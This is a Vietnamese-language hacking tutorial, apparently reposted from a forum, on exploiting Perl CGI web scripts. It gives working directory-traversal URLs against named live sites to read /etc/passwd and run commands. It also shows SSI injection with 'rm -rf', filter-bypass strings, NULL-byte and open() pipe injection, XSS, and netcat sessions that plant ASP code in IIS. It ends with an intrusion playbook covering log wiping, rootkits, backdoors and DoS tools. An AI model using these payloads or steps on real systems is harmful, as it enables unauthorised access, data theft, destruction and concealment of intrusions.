Thủ thuật sử dụng máy tính
Tiêu đề: CGI hacking

Tiêu đề: CGI hacking

CGI hacking

Hiện nay các ứng dụng WEB dùng CGI rất nhiều,nó trở nên rất phổ biến và cũng được các hacker quan tâm và không ít các lỗi bảo mật được tìm thấy .Bạn muốn hack web sữ dụng CGI thì bạn phải biết chút ít về ngôn ngữ PERL.Nếu bạn không biết gì về PERL thì tôi khuyên bạn nên đi tìm một cuốn sách nói về PERL mà đọc,điều này chắc là không khó đối với bạn.

Trước tiên ta hãy xem cách thức làm việt của GET và POST như thế nào:

GET:

GET là phương pháp mặt định để đệ trình các form,tuy là phương pháp mặt định nhưng có một vấn đề với việt sữ dụng GET.Phương pháp này thêm thông tin chứa trong form vào chuỗi vấn tin URL(,nếu URL quá dài thì chương trình tự động xén bớt nên gây ra sự đệ trình không chính xác.Thông tin đực lấy từ biến môi trường $ENV{'QUERY_STRING'} ví dụ:

#script.cgi?sometext

#sẽ là:

$file = 'sometext'

$file = $ENV{'QUERY_STRING'};

#script.cgi?some&text

#sẽ là:

$name = 'some' and $file = 'text'

($name, $file) = split(/&/, $ENV{'QUERY_STRING'});

(chú ý:Tôi khuyên bạn biết chút ít về PERL cho dù bạn không lập trình bằng PERL,và điển hình là bài viết này bạn hiểu nó như thế nào ví dụ lệnh split() làm như thế nào...)

Và nếu nhiều biến thì như sau:

@pair = split(/&/, $ENV{'QUERY_STRING'});

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value =~ tr/+/ /;

#used to convert url encoding (hex) to ascii :

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value; #script.cgi?name=some&file=text

#sẽ là:

$FORM{'name'} = 'some' and $FORM{'file'} = 'text'

}

Trên đây là những ví dụ đơn giản về phương thức GET.và HTTP có dạng như sau:

GET /script.cgi?some&text HTTP/1.0

POST:

POST là phương pháp thư hai dùng để đẹ trình các form và đang đươc sữ dụng rộng rải nhất,vì nó không hạn chế lượng dữ liệu truyền đến server.Để đọc dữ liệu truyền đến server,trước tiên bạn phải xác định

chiều dài của nó,và thực hiện điều này bằng cách qua iến môi trường CONTENT_LENGTH và sau đó bạn có thể đọc số byte chính xác trong một biến khác,chuỗi được mã hoá bởi URL do đó bạn cần phân tích và giải mã nó.Đây là ví dụ của HTML được "submit" form với hai biến "name" và "file":

```
<form action="script.cgi" method="post">

<input type="text" name="name" value="">

<input type="hidden" name="file" value="profiles.txt">

<input type=submit value="submit">

</form>
```

Và tất cã các form dữ liệu sẽ được đặt trong:into $FORM{'name-of-field'} đọc POST data:

```
$buffer read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

@pairs = split(/&/, $buffer);

foreach $pair (@pairs)

{
```

($name, $value) = split(/=/, $pair);

#used to make + into spaces

$value =~ tr/+/ /;

#used to convert url encoding (hex) to ascii

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#this would set

$FORM{'name'} = whatever the user put in the text field

#and $FORM{'file'} to profile.txt

$FORM{$name} = $value;

}

Làm việc của POST phần nào đó rất giống GET nhưng bạn sữ dụng hàm read() để đọc vào STDIN và nó sẽ send phần dữ liệu chứa trong phương thức POST.CONTENT _LENGTH dùng để gọi script để đọc dữ liệu,nó bao gồm trong phương thức POST.Một số script sữ dụng phương thức này có dạng như sau:

<input type="hidden" name="file" value="profiles.txt">

-->đây là phần ẩn của mã nguồn URL mà khi hacker muốn xem thì không khó,khi anh phát hiện ra code có dạng như thế thì có thể đổi lại như sau:

<input type="hidden" name="file" value="/etc/passwd">

Và khi nhấn nút "submit" thì dữ liệu sẽ được phương thức POST gởi yêu cầu tới HTTP requery,vậy là bạn có được file passwd,thậm chí chỉ dùng telnet cũng lấy được.Đây là phương pháp dể dàng để lấy được dữ liệu quan trong của server qua vùng ẩn của html.Có nghĩa là bạn có thể bypass bất kỳ loại clien side security,chẳng hạn như java script check,http_referrer value,form html...Đừng bao giờ trông chờ vào dữ liệu đươc chuyển đến qua phương thức POST hơn nữa bạn sẽ có được dữ liệu từ GET,và nó sẽ thay đổi bởi attacker họ có thể đọc được dữ liệu của bạn từ HTTP RFC ví dụ dùng telnet:

POST /script.cgi HTTP/1.0

Content-Length: 23

Content-Type: application/x-www-form-urlencoded
value=blah&another=bleh

POST và GET là hai phương thức giúp nhiều cho hacker khai thác thông tin của hệ thống và một modul quan trọng nữa là CGI cũng có lợi rất nhiều.

CGI:

CGI là một tiêu chuẩn để tạo các chương trình ngoại chẵng hạn như các script perl với một HTTP server,các thuật ngữ "common" và "gateway" ám chỉ các biến và quy ước thông thường được dùng để truyền thông tin này qua lại HTTP server.CGI cho phép bạn sữ dụng chương trình tuỳ biến này để định dạng và xữ lý dữ liệu xuất sang các bộ trình duyệt.Mỗi lần người dùng yêu cầu một URL tương ứng với một Script CGI,WEB server viện dẫn chương trình,truyền dẫn thông tìn từ bộ trình duyệt đến script.Thông tin này bao gồm các header HTTP khác nhau và được gởi từ trình duyệt yêu cầu và thông tin từ được truyền cùng với URL chẵn hạn như thông tin chuỗi query.Sau đó script CGI đọc và xữ lý đưa ra đáp ứng thích hợp với thông tin này :

xem ví dụ:

```
#$value is a new CGI

$value=CGI->new();

$file = $value->param('file');

#script.cgi?name=some&file=text

$name = $value->param('name');
```

#would make $name = 'some' and $file = 'text'

COOKIE:

Chắc tôi khỏi nói các bạn cũng biết.

ENV:

AUTH_TYPE:Kiểu xác thực dùng để hiệu lực hoá người dùng

CONTENT_LENGTH:Kích cở của nội dung file được cho ra

CONTENT_TYPE:Loại nội dung mà dữ liệu được gởi

CATEWAY_INTERFACE:Phiên bản CGI mà server hổ trợ

HTTP_ACCEPT:Loại MINE mà trình duyệt chấp nhận cho yêu cầu này

HTTP_USER_AGENT:Tên hoàn chỉnh bộ nhận dạng cảu bộ trình duyệt

PATH_INFO:Thông tin đường dẫn

PATH_TRANSLATED:PATH_INFO được biên dịch

QUERY_STRING:Bất kỳ text sau '?'

REMOTE_ADDR:Địa chỉ IP của bộ trình duyệt yêu cầu

REMOTE_HOST:Máy chủ của bộ trình duyệt thực hiện yêu cầu

REQUEST_METHOD:Phương pháp dùng đạt yêu cầu chẵn hạn GET hay POST

SCRIPT_NAME:Đường dẫn đến script được thực thi.

SERVER_NAME:Tên máy chủ của server.

SERVER_PORT:Cổng mà máy chủ liên lạc

SERVER_PROTOCOL:Giao thức và phiên bản được sữ dụng trong câu trã lời của server.

SERVER_SOLLTWARE:Tên và phiên bản phần mềm server.

Từ nảy đến giờ các bạn chỉ đọc toàn kiến thức cơ bản về giao thức truyền thông tin qua GET và POST với HTTP...Ta hãy đi đến phần quan trọng của ứng dụng lỗi của script CGI trong việc hack.

Reverse Directory Transversal

Bây giờ hãy tận dụng các tổn thương của CGI nếu bạn biết UNIX và PERL thì tại sao không thể tìm ra lổ hổng của ứng dụng này,bây giờ ta hãy chú ý đến thuật ngữ:"Reverse Directory Transversal" làm chúng ta

liên tưởng đến dấu "../" tôi có thể nói rằng hầu hết các bạn ở đây đều biết tác dụng của dấu này chứ nên tôi không cần nói nhiều làm gì nữa mà ta hãy đặt ra câu hỏi tại sao lại sữ dụng dấu này?Vâng thưa các bạn tôi sẽ nói cho các bạn biết trong những dòng chữ tiếp theo sau.Dấu này nó cho phép chúng ta đoc,ghi,xoá và thi hành các file trên server bị tổn thương.Đây là cú pháp của hàm open()<!--emo&:(--><IMG alt=greensad.gif src="http://vnhacker.org/forum/html/emoticons/greensad.gif" border=0 valign="absmiddle"><!--endemo-->ví dụ)

```
open(FILE, "/home/user/file.txt");
```

or

```
$this = '/home/user/file.txt';

open(FILE, "$this");
```

Cã hai có chung một mục đích là mở file file.txt,chúng ta có thể thấy không có sơ hở nào cho việc tấn công từ xa của hacker.Và bây giờ chúng ta thữ nhìn đoạn code vuln.cgi sau:

```
$this = $ENV{'QUERY_STRING'};

#gets the user input into $this

open(FILE, "$this");
```

#opens that file

@stuff = <FILE>;

#puts contents of that file into @stuff array close(FILE);

print "Content-type: text/html\n\n";

#print html to the client print "<HTML><BODY>\n";

print @stuff;

print "</BODY></HTML>";

Các hacker sẽ làm việc với biến môi trường QUERY_STRING như sau:/etc/passwd và bất kỳ file nào để có thể đọc trên server.Nhưng một số server khác lại không như thế họ bảo mật hơn một tí ví dụ code như sau.

$this = '/home/user/';

(undef, $this) .= split(/?/, $ENV{'QUERY_STRING'});

open(File, "$this");

Bây giờ thì bạn không thể đọc với đầu vào là /etc/passwd nhưng ko vì

thế mà các hacker đầu hàng họ nghĩ ngay ra dùng dấu ../ như sau:../../etc/passwd và họ đã thành công ví dụ trong một số ứng dụng CGI có đoạn URL sau:script.cgi?file=database.txt nhưng hacker đã tận dụng và khai thác như sau:script.cgi?file=../../../../etc/passwd

Ví dụ file mà tôi tìm thấy lỗi này(chưa fix):

<A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../etc/passwd" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=..../../etc/passwd

Ta còn có thể khai thác các lệnh UNIX trên server này nữa ví dụ:

<A href="http://www.chattanooga.net/index.cgi?menu=Support&page=/../../../../../../../bin/ls|" target=_blank><FONT color=#abb2d5>http://www.chattanooga.net/index.cgi?menu=...../bin/ls|>>Xem các file và thư mục trên hệ thống và các bạn có thể thi hành các lệnh UNIX trên server này.

Đây là code để bảo vệ việc dùng dấu '../' như sau:

```
$this = '/home/user/';

(undef, $this) .= split(/?/, $ENV{'QUERY_STRING'});
```

$this = s/\.\.\//g;

#gets rid of ../ in $this

open(File, "$this");

Thoạt đàu nhìn thì có vẽ an toàn,nhưng chúng ta biết về cách mà UNIX và PERL hiểu như thế nào,hãy nhìn đây,đó là .\./.\./etc/passwd =>Trong UNIX sữ dụng '.\./' thay cho '../' nhưng các hacker đâu chịu yên họ sữ dụng để làm đầu vào như sau:'.\./.\./' thì file bảo vệ đó sẽ không nhìn thấy '../' tương đương '..../' và các string sẽ không được lọc hết,và bây giờ các hacker có thể đọc thi hành và xoá các file trên hệ thống ví dụ điển hình về lỗi này là:

FileSeek.cgi

file này có đoạn code như sau:

==========

```
$ROOT_DIR = '/web/guide/cgi-perl/private_09832ujd/CD-ROM/';
$DD = substr($ROOT_DIR, -1); # $DD = '/'
...
if ($directory =~ /$DD\.\./) { $directory = '' }
$ARGS{'head'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g;
$ARGS{'foot'} =~ s/(^$ALLOWED_DIR)|(^$DD)|(\.\.($DD|$))//g;
```

==========

Rất dễ để đánh lừa FileSeek.cgi! Nếu attacker gởi "....//", FileSeek.cgi sẽ strip "../" và kết quả sẽ ra là "../".exploit như sau:

<A href="http://www.cgi-perl.com/programs/FileSeek/Demo/FileSeek.cgi?head=....//....//....//....//....//....//....//etc/passwd" target=_blank><FONT color=#abb2d5>http://www.cgi-perl.com/programs/FileSeek/.....//etc/passwd

Vâng tới đây là bạn có thể hiểu rồi chứ.

Flat Databases:

Khi bạn nghe nói về flat Databases có nghĩa là dùng plain text để chứa dữ liệu đây có thể là database.txt,database or file.db.Bây giờ chúng ta hãy xem một ví dụ về FD(Flat Databases)

Hãy xem đoạn code sau:

```
use CGI;

#$input is a new cgi

$input=CGI->new();
```

#get GET/POST variables

$name = $input->param('name');

$mail = $input>param('mail');

$message = $input->param('message');

#print to messages database

open(DB, ">>messages.txt");

print DB "$name|$mail|$message\n"; close(DB);

Có ba vùng dũ liệu để input vào messages.txt,khi message board script đọc thì bạn sẽ nhìn thấy code sau:

#read messages database

open(DB, "<messages.txt");

@messages = <DB>;

close(DB);

#print html print "Content-type: text/html\n\n";

print "<HTML><BODY>\n";

#loop through all the messages

foreach $msg (@messages)

{

#split the database fields up

($name, $mail, $message) = split(/\|/, $msg);

**print "message by: $name\n"; print "

\n$message\n

\n";**

}

print "</BODY></HTML>";

Không có sự lọc dữ liệu dầu vào nào đối với code này.nên bạn có thể dùng như sau để làm tràn:

flood|flood|flood\nflood|flood|flood\nflood|flood|flood\nflood|flood|flood\n ...thật nhiều vào

Với đoạn code trên ta không nhìn thấy sự đe doạ lớn nào đến với hệ

thống nhưng hãy nhìn một số server code ẩu và có dạng như sau:dữ liệu vào:'username|password|visits|user-agent|admin|ipaddress' vùng admin là 1 nếu user là admin và 0 nếu là user bình thường.Vậy hãy nhìn khi chúng ta cho dữ liệu đầu vào như sau:

b0iler|a|1|linux|1|127.0.0.1|

OK tương đương user name là b0iler,visit là 1,user-agent là linux,*admin to 1*,ipaddress là 127.0.0.1 với lỗi này một user bình thường có thể login vào hệ thống với quyền root,thông thường thì trường user name và pass thì được lọc nhưng với user-agent và referer thì không được lọc và các hacker có thể chèn những đoạn mã lệnh nguy hiểm vào hệ thống server bị tổn thương.

Cross Site scripting:

XSS thì các bạn nghe đến nhiều rồi nhất là bài viết của MASK.. rất rỏ nên tôi không muốn viết lại nữa,nhưng ỡ đây tôi đang viêt về lổ hổng của CGI nhưng CGI cũng bị lỗi về XSS nên tôi nói sơ qua vậy mong các baạnthông cảm,xem ví dụ:

<A href="http://vuln.com/script.cgi?display=< script" target=_blank><FONT color=#abb2d5>http://vuln.com/script.cgi?display=< script type=text/javascript>alert('hello');< /script>

script.cgi là code perl mà nó dùng để xem dữ liệu trong vùng input và sẽ

trã về clien side trên trìhn duyệt,và có nghĩa là đoạn code < script type=text/javascript>alert('hello');< /script> sẽ được chạy ngay trên trình duyệt của bạn.Và với những code js mà bạn biết bạn có thể khai thác một cách hiệu quả điển hình nhất là lấy cookie(bánh quy) và hơn nữa là có thể truy cập vào các URL chứa user name,passwd,sessionid và một số thông tin nhạy cảm nhất.Bạn có thể thay đổi user trên site đó và bạn cũng có thể submit data đê script thi hành gây những tổn hại đến server như del email,thay đổi email,send email,add admin vào database và bất cứ thứ gì bạn muốn khi bạn truy cập vào hệ thống với quyền tối cao.Đây là một đoạn code CGI có vấn đề:

```
use CGI;

#$input is a new CGI

$input=CGI->new();

$email = $input->param('email');

#checks for valid email address: something@something.com

if($email !~ /^(\S+)\@(\S+).(\S+)/)

{

#prints $email to html, totally unfiltered.
```

&printhtml("error: $email is not a valid email address");

}

else

{

&processemail("$email");

}

Bạn có thể đưa thông tin ví dụ < script type=text/javascript> alert(hello);< /script> vào email address một error message sẽ được gởi tới clien và đoạn mã js sẽ được chạy ngay trên trình duyệt của hacker.Và ví dụ về những lỗi này thì tôi không cần đưa lên đây vì trong box bảo mật có rất nhiều lỗi nói về XSS bạn có thể tìm và khai thác chúng =>tăng thêm kỹ năng hack của bạn.

Và tôi nói thêm trong việc chèn code js trong viêc tấn công qua cổng 80 xem ví dụ một số cách tấn công sau:

Thữ chèn một đoạn mã JS vào "Referer":

C:\>nc 127.0.0.3 80
HEAD / HTTP/1.0
Referer: < script>alert('document.domain='+document.domain)<

/script>

HTTPd Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Content-Location: <A href="http://127.0.0.3/Default.htm"
target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm
Content-Type: text/html
Content-Length: 4325

Chèn vào default.asp:

C:\> nc 127.0.0.3 80
HEAD /default< script>alert("Cheers world!")< /script>.asp HTTP/1.0

#Software: Microsoft Internet Information Server 4.0
#Version: 1.0
#Date: 2002-06-17 16:26:50
#Fields: time c-ip cs-method cs-uri-stem sc-status
16:26:50 127.0.0.3 HEAD /Default.htm 200
16:27:04 127.0.0.3 HEAD /default< script>alert("Cheers world!")<
/script>.asp 200
16:41:15 127.0.0.3 GET /default.asp 200
Những script mà attacker có thể sữ dung:

HEAD< script SRC="c:\boot.ini">< /script> / HTTP/1.0

HEAD /default.asp<FileSystemObject.CopyFile "c:\boot.ini", "boot.htm"> HTTP/1.0

GET /< script>window.location="http://www.bad.com/bad.htm";< /script>home.htm HTTP/1.0

GET /default.asp<%FSObj.CopyFile global.asa global.txt%>

Tiếp tục:

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: <% Set fs = CreateObject("Scripting.FileSystemObject")

Referer: Set a = fs.CreateTextFile("c:\testfile.txt", True)

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: a.WriteLine("Here an attacker would")

Referer: a.WriteLine("build a file o-n the HTTPd")

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: a.WriteLine("of any type and content, including")

Referer: a.WriteLine("a binary, a script, a batch file...")

C:\>nc 127.0.0.3 80

HEAD /Default.asp HTTP/1.0

User-Agent: a.Close %>

Và:

C:>\nc 127.0.0.3 80 HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Content-Location: <A href="http://127.0.0.3/Default.htm"

target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 4325

C:>\nc 127.0.0.3 80

HEAD /default.asp<img src="file:/C:/boot.ini">

HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Content-Location: <A href="http://127.0.0.3/Default.htm"

target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 4325

C:>\nc 127.0.0.3 80

HEAD /default.asp< script>alert("Cheers world!")< /script>

HTTP/1.0 HTTP/1.1 200 OK

Server: Microsoft-IIS/4.0

Content-Location: <A href="http://127.0.0.3/Default.htm"

target=_blank><FONT color=#abb2d5>http://127.0.0.3/Default.htm

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 4325

Chú ý:những đoạn code trên là ví dụ bạn phải linh hoạt trong qúa trình

xâm nhập của mình

SSI:

Chắc các bạn cũng từng nghe qua về SSI vậy SSI thật ra là cái gì thưa các bạn tôi có thể nói rằng nó giống như #include file ->trong C/C++ hay hàm requery() và include() trong PHP nhưng đây là dùng cho SHTML(có nghĩa là file có đuôi là .shtml) vây cú pháp như sau:

<!--#thông tin -->

<!--#include file="/etc/passwd" -->

==>đưa thông tin của file /etc/passwd ra trình duyệt

<!--#exec cmd="rm -rf /home/you/www" -->

==>thi hành lệnh sau exec ở đây là 'rm -rf /home/you/www'

Đây là code CGI:(ví dụ)

```
@pairs = split(/&/, $ENV{'QUERY_STRING'});

foreach $pair (@pairs)

{

($name, $value) = split(/=/, $pair);
```

$value =~ s/<!--(.|\n)*-->//g;

$FORM{$name} = $value;

}

Hãy nhìn $value =~ s/<!--(.|\n)*-->//g;nó đã lọc các SSI,và khi bạn dùng SSI thì nó không làm việc.Chúng ta hãy nhìn đoan code sau:

**"
 $username $email

 $message
"**

Vậy bạn có thể vào phần input trong trường user name ví dụ <!-- and email as #exec cmd="ls" --> thì nó sẽ thi hành lệnh ls.Lọc dữ liệu là phần quan trọng trong các úng dụng PERL Script,nhưng những hacker thì sẽ luôn tìm ra những khe hở để qua mặt hệ thống xem ví dụ sau:

$value =~ s/<!--(.|\n)*-->//g;

đoạn code trên lọc SSI với <!-- #anything --> nhưng hãy nhìn đoạn SSI sau:

<!-<!-- #nothing -->- #include file="/etc/passwd" -->

đoạn này thì không làm việc vì perl sẽ tìm <!-- đầu tiên và --> cuối cùng vậy ta hãy sữa đổi lại một chút như sau:

<!-<!-- -->- #include file="/etc/passwd" -<!-- -->->

Làm việc một cách rất ngon lành vì <!-- và --> không tìm thấy vậy ta đã lừa được hệ thống một cách ngoạn mục

Vậy bài học là gì:

Muốn tấn công hệ thống nào đó thì ta phải hiểu hệ thống đó có cấu trúc như thế nào làm việc ra sao,ở đây các ứng dụng CGI dùng perl script thì ta phải hiểu cách thức làm việc của perl thì mới có thể khai thác được.

Bây giờ bạn thấy hiểm hoạ to lớn từ SSI như thế nào rồi chứ hi vọng các bạn hãy quan tâm đến hệ thống của mình để tránh được các cuộc tấn công của hacker.

NULL Byte:

Vấn đề nằm ở \0 (00 hex) là NULL Byte,perl sẽ nhìn NULL Byte ở ký tụe NULL nhưng C thì không như vậy,chúng ta có thể vượt rào ngăn cản của hệ thống đó thông qua các hàm hệ thống như open(),exec()...Để dễ hiểu hãy xem ví dụ sau:

```
#get input and put it into $file

$file = $ENV{'QUERY_STRING'};

#convert url encoding to ASCII (%00 will become the NULL Byte)
```

$file =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$filename = '/home/user/' . $file . '.txt';

open(FILE, "<$filename");

Đoạn code này làm gì? $file sẽ lấy /home/user/ đặt trước và .txt đặt sau nó.Khi $file=a cón nghĩa là nó sẽ mở file a.txt,nhưng khi bạn đánh trên trình duyệt với URL sau ví dụ:script.cgi%00 thì perl sẽ gởi /home/user/script.cgi\0.txt đến C và nó sẽ nhìn với /home/user/script.cgi là NULL Byte vậy khai thác như thé nào hãy làm như sau:Chèn một kí tự NULL byte vào phía sau câu truy vấn vd:../../../../etc/passwd\0 vậy là ta có thể đọc được file /etc/passwd,với những code upload thì ta cũng có thể up những file không cho phếp với những mẹo bất kỳ nào mà bạn nghĩ ra để lừa hệ thống

Vấn đề với hàm open():

Hàm open() rất hay được sữ dụng nhưng nó cũng có những mối nguy hiểm đến hệ thống của ban,để cho vấn đè được rỏ ràng hơn hãy ghé thăm ví dụ sau:

use CGI;

$input=CGI->new();

$file = $input->param('file');

open(FILE, $file) or &diehtml("cannot open that file");

Hãy khai thác thữ lỗi này:

<A href="http://b0iler.eyeonsecurity.net/script.cgi?file=rm" target=_blank><FONT color=#abb2d5>http://b0iler.eyeonsecurity.net/script.cgi?file=rm -rf ./|

thư mục hiện hành sẽ bị xoá,vậy là bạn có thể thấy tính nguy hiểm của nó như thế nào rồi

Tóm lại:

Tôi đã trình bày sơ qua một số lỗi của các ứng dụng CGI mà sữ dụng PERL Script mong rằng với những kiến thức nhỏ này bạn có thể hiểu thêm về tầm quan trọng của việc bảo mật hệ thống,hi vọng từ bài viết này có thể giúp cho các bạn biết một số lỗi thường gặp của ứng CGI mà khai thác và fix một cách hiệu quả.Nếu có gì thiếu sót mong anh em chỉ giáo.

Các bước của hacker khi muốn đột nhập vào một hệ thống máy chủ :

<Bước 1> FootPrinting : Các mục tiêu của bước này chủ yếu là những thông tin ban đầu về server . Công nghệ bạn cần sử dụng là : Open source search (nguồn máy chủ tìm kiếm) Whois , Web interface to

whois , Arin Whois , DNS zone transfer (bộ phận này chủ yếu là kiểm tra về người chủ server , DNS .. cấu trúc server chưa thể hiện rõ ở đây) 1 số công cụ : UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix client , http://www.networksolutions.com/whois , http://www.arin.net/whois , dig , nslookup Is -d , Sam spade

<Bước 2> Scanning : Phần lớn các server chịu bung thông tin quan trọng trong bước này , hãy cố gắng tận dụng bước này triệt để để biết các port trên server , nghe đường dữ liệu . Công nghệ bạn cần sử dụng là : Ping Sweep , TCP/UDP port Scan , Os Detection . Các công cụ : fping , icmpenum Ws_ping ProPack , nmap , SuperScan , fscan nmap , queso , siphon .

<Bước 3> Enumeration : Đến bước này , các attacker bắt đầu kiểm soát server sơ bộ , xác định các account trên server , mức độ bảo vệ ... Công nghệ bạn cần sử dụng là : List user accounts , List file share , Identify applications . Các tool phụ trợ : null sessions , DumpACL , sid2user , OnSite Admin showmount , NAT , Legion banner grabbing với telnet , netcat , rpcinfo .

<Bước 4> Gaining access : Aha , đã có đủ dữ liệu để kết hợp tất cả chúng lại . Chúng ta bắt đầu đến gần mục tiêu . Hãy nắm chắc cơ hội . 1 account có thể bị Crack . Công nghệ : Password eavesdropping , File Share brute forcing , Password file grab , buffer overflows . Các tool : tcpdump , L0phtcrack readsmb , NAT , legion , tftp , pwdump2 (NT) ttdb , bind , IIS , .HTR/ISM.DLL

<Bước 5> Escalating privilege : Nếu 1 account không may mắn nào ở một cấp độ nào đó bị crack ở bước trên , chúng ta sẽ có cái tận dụng để điều khiển Server . Công nghệ : Password cracking , BUG ,Exploits . Tools : john , L0phtcrack , Ic_messages , getadmin , sechole .

<Bước 6> Pilfering : Thông tin lấy từ bước trên đủ để ta định vị server và điều khiển server . Nếu bước này không thành công , hãy đến bước <9> . Công nghệ : Evaluate trusts , Search for cleartext passwords . Tool : rhost , LSA Secrets user data , configuration files , Registry .

<Bước 7> Covering Tracks : Hệ thống luôn ghi nhận những hành động của bạn . Nếu bây giờ mà kết thúc , chắc bạn bị tóm ngay . Đây là bước cực kì quan trọng . XÓA LOG . Công nghệ : Clear logs , hide tools . Tools : Zap , Event log GUI , rootkits , file streaming .

<Bước 8> Creating Backdoors : Còn phải hỏi , bạn phải để lại 1 cái cổng sau , lần sau có vào thì dễ hơn chứ . Nếu không thành công , quay lại bước <4> xem lại các quyền của user bạn sử dụng . Công nghệ : Creat rogue user accounts , schedule batch jobs , infect startup files , plant remote control services , install monitoring mechanisms , replace apps with Trojan . Tools : members of wheel , administrators cron, At rc , Startup folder , registry keys , netcat , remote.exe , VNC , BO2K , keystroke loggers, add acct to secadmin mail aliases login , fpnwclnt.dll

<Bước 9> Denial of Servies : 1 attacker không thành công với những gì anh ta đã làm ... họ sẽ tận dụng những exploits code để làm cho server ngừng hoạt động luôn , gọi đó là : tấn công từ chối dịch vụ . Công nghệ :

SYN flood , ICMP techniques , Identical src/dst SYN requests , Overlapping fragment/offset bugs , Out of bounds TCP options (OOB) DDoS . Tools phụ trợ : synk4 , ping of death , smurf land , latierra , teardrop , bonk , newtear , supernuke.exe , trinoo/TFN/stacheldraht

Thế đó , những bước hacker hay attacker làm với server khi họ muốn attack . Không đơn giản chút nào nhỉ ?
Những tool trên , bạn có thể search ở các máy tìm kiếm như http://www.google.com/ , http://www.av.com/ ... với từ khoá là tên tôi đã cho .

Designed by FSOSR. Email : fsosr2005@yahoo.com.vn